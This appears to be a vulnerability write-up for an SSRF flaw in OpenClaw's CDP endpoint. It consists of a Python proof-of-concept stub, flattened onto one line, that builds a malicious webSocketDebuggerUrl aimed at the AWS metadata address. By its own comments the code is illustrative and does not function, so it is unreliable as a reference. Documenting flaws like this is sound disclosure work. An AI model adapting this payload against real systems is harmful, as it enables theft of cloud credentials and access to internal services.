CVE-2026-43576 OpenClaw CDP端点SSRF漏洞

#!/usr/bin/env python3 # PoC Concept for CVE-2026-43576 # Demonstrates how a malicious webSocketDebuggerUrl could be used to trigger SSRF. import requests import json # Target OpenClaw instance target_url = "http://vulnerable-openclaw-instance:port/json/version" # Malicious internal endpoint (e.g., AWS metadata or internal admin) malicious_target = "http://169.254.169.254/latest/meta-data/" # Simulate a response payload that OpenClaw might process if it fetches config from a user-controlled source # OR if we are testing the endpoint logic directly. # In this scenario, we assume the attacker controls the CDP endpoint that OpenClaw connects to. malicious_cdp_response = { "browser": "OpenClaw/vulnerable", "webSocketDebuggerUrl": f"ws://{malicious_target}" # Invalid format but illustrative of the logic flaw } print(f"[+] Attempting to trigger SSRF via CDP endpoint: {target_url}") print(f"[+] Malicious redirect target: {malicious_target}") # Note: Actual exploitation requires OpenClaw to initiate a connection to a CDP endpoint # controlled by the attacker, returning this JSON structure. print("[+] Payload structure prepared.") print(json.dumps(malicious_cdp_response, indent=2))